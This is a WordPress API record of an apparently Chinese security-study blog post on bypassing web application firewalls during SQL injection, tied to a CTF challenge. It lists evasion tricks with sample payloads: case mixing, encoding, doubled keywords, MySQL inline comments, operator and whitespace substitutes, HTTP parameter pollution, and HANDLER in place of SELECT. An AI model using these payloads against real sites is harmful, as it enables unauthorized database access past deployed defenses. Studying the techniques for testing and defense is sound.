{"id":266,"date":"2025-01-18T10:21:41","date_gmt":"2025-01-18T02:21:41","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=266"},"modified":"2025-01-18T10:21:42","modified_gmt":"2025-01-18T02:21:42","slug":"11-sql%e6%b3%a8%e5%85%a5%e4%b9%8bwaf%e7%bb%95%e8%bf%87","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/18\/11-sql%e6%b3%a8%e5%85%a5%e4%b9%8bwaf%e7%bb%95%e8%bf%87\/","title":{"rendered":"11.SQL\u6ce8\u5165\u4e4bWAF\u7ed5\u8fc7"},"content":{"rendered":"

SQL\u6ce8\u5165\u4e4bWAF\u7ed5\u8fc7<\/h1>\n

WAF\u62e6\u622a\u539f\u7406\uff1aWAF\u4ece\u89c4\u5219\u5e93\u4e2d\u5339\u914d\u654f\u611f\u5b57\u7b26\u8fdb\u884c\u62e6\u622a\u3002<\/code><\/h3>\n

\"image.png\"<\/p>\n

\u5173\u952e\u8bcd\u5927\u5c0f\u5199\u7ed5\u8fc7<\/h1>\n
    \u6709\u7684WAF\u56e0\u4e3a\u89c4\u5219\u8bbe\u8ba1\u7684\u95ee\u9898\uff0c\u53ea\u5339\u914d\u7eaf\u5927\u5199\u6216\u7eaf\u5c0f\u5199\u7684\u5b57\u7b26\uff0c\u5bf9\u5b57\u7b26\u5927\u5c0f\u5199\u6df7\u5199\u76f4\u63a5\u65e0\u89c6\uff0c\u8fd9\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u70b9\u6765\u8fdb\u884c\u7ed5\u8fc7\n\n    \u4e3e\u4f8b\uff1a union select ---> unIOn SeLEcT\n<\/code><\/pre>\n
\u7f16\u7801\u7ed5\u8fc7<\/h1>\n
    \u9488\u5bf9WAF\u8fc7\u6ee4\u7684\u5b57\u7b26\u7f16\u7801\uff0c\u5982\u4f7f\u7528URL\u7f16\u7801\uff0cUnicode\u7f16\u7801\uff0c\u5341\u516d\u8fdb\u5236\u7f16\u7801\uff0cHex\u7f16\u7801\u7b49.\n\n    \u4e3e\u4f8b\uff1aunion select 1,2,3# =union%0aselect 1\\u002c2,3%23\n<\/code><\/pre>\n
\u53cc\u5199\u7ed5\u8fc7<\/h1>\n
    \u90e8\u5206WAF\u53ea\u5bf9\u5b57\u7b26\u4e32\u8bc6\u522b\u4e00\u6b21\uff0c\u5220\u9664\u654f\u611f\u5b57\u6bb5\u5e76\u62fc\u63a5\u5269\u4f59\u8bed\u53e5\uff0c\u8fd9\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u53cc\u5199\u6765\u8fdb\u884c\u7ed5\u8fc7\u3002\n\n    \u4e3e\u4f8b\uff1aUNIunionON \uff0cSELselectECT anandd\n<\/code><\/pre>\n
\u6362\u884c(\\N)\u7ed5\u8fc7<\/h1>\n
    \u4e3e\u4f8b\uff1aselect * from admin where username = \\N union select 1,user() from admin\n<\/code><\/pre>\n
\u6ce8\u91ca\u7b26\u5185\u8054\u6ce8\u91ca\u7ed5\u8fc7\uff1a<\/h1>\n
\n\n    union selecte =\/*!union*\/ select\n\n    \u6ce8\u91ca\u7b26\u91cc\u611f\u53f9\u53f7\u540e\u9762\u7684\u5185\u5bb9\u4f1a\u88abmysql\u6267\u884c\u3002\n<\/code><\/pre>\n
\u540c\u4e49\u8bcd\u66ff\u6362<\/h1>\n
    and=&&\n\n    or=||\n\n    =(\u7b49\u4e8e\u53f7)=<\u3001>\n\n    \u7a7a\u683c\u4e0d\u80fd\u4f7f\u7528=%09,%0a,%0b,%0c,%0d,%20,%a0\uff0clike\u7b49\n\n    \u6ce8\uff1a%0a\u662f\u6362\u884c\u4e5f\u53ef\u4ee5\u66ff\u4ee3\u7a7a\u683c\n<\/code><\/pre>\n
HTTP\u53c2\u6c61\u67d3<\/h1>\n
    \u5bf9\u76ee\u6807\u53d1\u9001\u591a\u4e2a\u53c2\u6570\uff0c\u5982\u679c\u76ee\u6807\u6ca1\u6709\u591a\u53c2\u6570\u8fdb\u884c\u591a\u6b21\u8fc7\u6ee4\uff0c\u90a3\u4e48WAF\u5bf9\u591a\u4e2a\u53c2\u6570\u53ea\u4f1a\u8bc6\u522b\u5176\u4e2d\u7684\u4e00\u4e2a\u3002\n\n    \u4e3e\u4f8b\uff1a?id=1&id=2&id=3\n    ?id=1\/**&id=-1%20union%20select%201,2,3%23*\/\n<\/code><\/pre>\n
WAF\u7ed5\u8fc7\u7684\u601d\u8def\u5c31\u662f\u8ba9WAF\u7684\u68c0\u6d4b\u89c4\u5219\uff0c\u8bc6\u522b\u4e0d\u5230\u4f60\u6240\u8f93\u5165\u7684\u654f\u611f\u5b57\u7b26\uff0c\u5229\u7528\u4e0a\u8ff0\u6240\u4ecb\u7ecd\u7684\u77e5\u8bc6\u70b9\uff0c\u7075\u6d3b\u7ed3\u5408\u5404\u79cd\u65b9\u6cd5\uff0c\u4ece\u800c\u53ef\u4ee5\u589e\u52a0\u7ed5\u8fc7WAF\u7684\u53ef\u80fd\u6027<\/code><\/h3>\n
order by\u7ed5\u8fc7\uff1a%20\/*\/\/--\/*\/  V4.0\n\u8054\u5408\u7ed5\u8fc7\uff1aunion \/*!--+\/*%0aselect\/*!1,2,3*\/ --+\nfrom\u7ed5\u8fc7\uff1a \/*!06447%23%0afrom*\/\n  \n<\/code><\/pre>\n
select\u547d\u4ee4\u66ff\u6362<\/h3>\n
\u4f7f\u7528HANDLER\u547d\u4ee4\u65f6\uff0c\u4f8b\u5982 \u00a0HANDLER your_table OPEN\u00a0 \u6253\u5f00\u8868\uff0c\u7136\u540e\u7528 \u00a0HANDLER your_table READ FIRST\u00a0 \u7b49\u65b9\u5f0f\u8bfb\u53d6\u6570\u636e\uff0c\u6700\u540e\u7528 \u00a0HANDLER your_table CLOSE\u00a0 \u5173\u95ed\u64cd\u4f5c\u3002\u5b83\u53ef\u4ee5\u50cf\u6e38\u6807\u4e00\u6837\u6309\u884c\u5904\u7406\u6570\u636e\u3002
\n[[\u5f3a\u7f51\u676f 2019\u968f\u4fbf\u6ce8]]<\/p>\n","protected":false},"excerpt":{"rendered":"
SQL\u6ce8\u5165\u4e4bWAF\u7ed5\u8fc7 WAF\u62e6\u622a\u539f\u7406\uff1aWAF\u4ece\u89c4\u5219\u5e93\u4e2d\u5339\u914d\u654f\u611f\u5b57\u7b26\u8fdb\u884c\u62e6\u622a\u3002 \u5173\u952e\u8bcd\u5927\u5c0f\u5199\u7ed5\u8fc7 \u6709\u7684WAF\u56e0 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,4],"tags":[],"class_list":["post-266","post","type-post","status-publish","format-standard","hentry","category-sql","category-web"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/266","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=266"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/266\/revisions"}],"predecessor-version":[{"id":267,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/266\/revisions\/267"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=266"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=266"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=266"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}